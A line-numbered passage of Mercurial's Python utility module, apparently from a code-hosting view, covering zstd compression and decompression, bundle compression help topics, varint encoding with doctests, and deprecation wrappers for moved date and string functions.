3858 def compress(self, data):
3859 insize = len(data)
3860 # Caller handles empty input case.
3861 assert insize > 0
3862
3863 if insize < 50:
3864 return None
3865
3866 elif insize <= 1000000:
3867 compressed = self._cctx.compress(data)
3868 if len(compressed) < insize:
3869 return compressed
3870 return None
3871 else:
3872 z = self._cctx.compressobj()
3873 chunks = []
3874 pos = 0
3875 while pos < insize:
3876 pos2 = pos + self._compinsize
3877 chunk = z.compress(data[pos:pos2])
3878 if chunk:
3879 chunks.append(chunk)
3880 pos = pos2
3881 chunks.append(z.flush())
3882
3883 if sum(map(len, chunks)) < insize:
3884 return ''.join(chunks)
3885 return None
3886
3887 def decompress(self, data):
3888 insize = len(data)
3889
3890 try:
3891 # This was measured to be faster than other streaming
3892 # decompressors.
3893 dobj = self._dctx.decompressobj()
3894 chunks = []
3895 pos = 0
3896 while pos < insize:
3897 pos2 = pos + self._decompinsize
3898 chunk = dobj.decompress(data[pos:pos2])
3899 if chunk:
3900 chunks.append(chunk)
3901 pos = pos2
3902 # Frame should be exhausted, so no finish() API.
3903
3904 return ''.join(chunks)
3905 except Exception as e:
3906 raise error.RevlogError(_('revlog decompress error: %s') %
3907 stringutil.forcebytestr(e))
3908
3909 def revlogcompressor(self, opts=None):
3910 opts = opts or {}
3911 return self.zstdrevlogcompressor(self._module,
3912 level=opts.get('level', 3))
3913
3914 compengines.register(_zstdengine())
3915
3916 def bundlecompressiontopics():
3917 """Obtains a list of available bundle compressions for use in help."""
3918 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3919 items = {}
3920
3921 # We need to format the docstring. So use a dummy object/type to hold it
3922 # rather than mutating the original.
3923 class docobject(object):
3924 pass
3925
3926 for name in compengines:
3927 engine = compengines[name]
3928
3929 if not engine.available():
3930 continue
3931
3932 bt = engine.bundletype()
3933 if not bt or not bt[0]:
3934 continue
3935
3936 doc = pycompat.sysstr('``%s``\n %s') % (
3937 bt[0], engine.bundletype.__doc__)
3938
3939 value = docobject()
3940 value.__doc__ = doc
3941 value._origdoc = engine.bundletype.__doc__
3942 value._origfunc = engine.bundletype
3943
3944 items[bt[0]] = value
3945
3946 return items
3947
3948 i18nfunctions = bundlecompressiontopics().values()
3949
3950 # convenient shortcut
3951 dst = debugstacktrace
3952
3953 def safename(f, tag, ctx, others=None):
3954 """
3955 Generate a name that it is safe to rename f to in the given context.
3956
3957 f: filename to rename
3958 tag: a string tag that will be included in the new name
3959 ctx: a context, in which the new name must not exist
3960 others: a set of other filenames that the new name must not be in
3961
3962 Returns a file name of the form oldname~tag[~number] which does not exist
3963 in the provided context and is not in the set of other names.
3964 """
3965 if others is None:
3966 others = set()
3967
3968 fn = '%s~%s' % (f, tag)
3969 if fn not in ctx and fn not in others:
3970 return fn
3971 for n in itertools.count(1):
3972 fn = '%s~%s~%s' % (f, tag, n)
3973 if fn not in ctx and fn not in others:
3974 return fn
3975
3976 def readexactly(stream, n):
3977 '''read n bytes from stream.read and abort if less was available'''
3978 s = stream.read(n)
3979 if len(s) < n:
3980 raise error.Abort(_("stream ended unexpectedly"
3981 " (got %d bytes, expected %d)")
3982 % (len(s), n))
3983 return s
3984
3985 def uvarintencode(value):
3986 """Encode an unsigned integer value to a varint.
3987
3988 A varint is a variable length integer of 1 or more bytes. Each byte
3989 except the last has the most significant bit set. The lower 7 bits of
3990 each byte store the 2's complement representation, least significant group
3991 first.
3992
3993 >>> uvarintencode(0)
3994 '\\x00'
3995 >>> uvarintencode(1)
3996 '\\x01'
3997 >>> uvarintencode(127)
3998 '\\x7f'
3999 >>> uvarintencode(1337)
4000 '\\xb9\\n'
4001 >>> uvarintencode(65536)
4002 '\\x80\\x80\\x04'
4003 >>> uvarintencode(-1)
4004 Traceback (most recent call last):
4005 ...
4006 ProgrammingError: negative value for uvarint: -1
4007 """
4008 if value < 0:
4009 raise error.ProgrammingError('negative value for uvarint: %d'
4010 % value)
4011 bits = value & 0x7f
4012 value >>= 7
4013 bytes = []
4014 while value:
4015 bytes.append(pycompat.bytechr(0x80 | bits))
4016 bits = value & 0x7f
4017 value >>= 7
4018 bytes.append(pycompat.bytechr(bits))
4019
4020 return ''.join(bytes)
4021
4022 def uvarintdecodestream(fh):
4023 """Decode an unsigned variable length integer from a stream.
4024
4025 The passed argument is anything that has a ``.read(N)`` method.
4026
4027 >>> try:
4028 ... from StringIO import StringIO as BytesIO
4029 ... except ImportError:
4030 ... from io import BytesIO
4031 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4032 0
4033 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4034 1
4035 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4036 127
4037 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4038 1337
4039 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4040 65536
4041 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4042 Traceback (most recent call last):
4043 ...
4044 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4045 """
4046 result = 0
4047 shift = 0
4048 while True:
4049 byte = ord(readexactly(fh, 1))
4050 result |= ((byte & 0x7f) << shift)
4051 if not (byte & 0x80):
4052 return result
4053 shift += 7
4054
4055 ###
4056 # Deprecation warnings for util.py splitting
4057 ###
4058
4059 def _deprecatedfunc(func, version):
4060 def wrapped(*args, **kwargs):
4061 fn = pycompat.sysbytes(func.__name__)
4062 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
4063 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
4064 nouideprecwarn(msg, version)
4065 return func(*args, **kwargs)
4066 wrapped.__name__ = func.__name__
4067 return wrapped
4068
4069 defaultdateformats = dateutil.defaultdateformats
4070 extendeddateformats = dateutil.extendeddateformats
4071 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
4072 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
4073 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
4074 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
4075 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4076 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4077 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4078
4079 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4080 binary = _deprecatedfunc(stringutil.binary, '4.6')
4081 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
4082 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
4083 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
4084 email = _deprecatedfunc(stringutil.email, '4.6')
4085 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
4086 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
4087 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
4088 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
4089 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
4090 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
4091 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now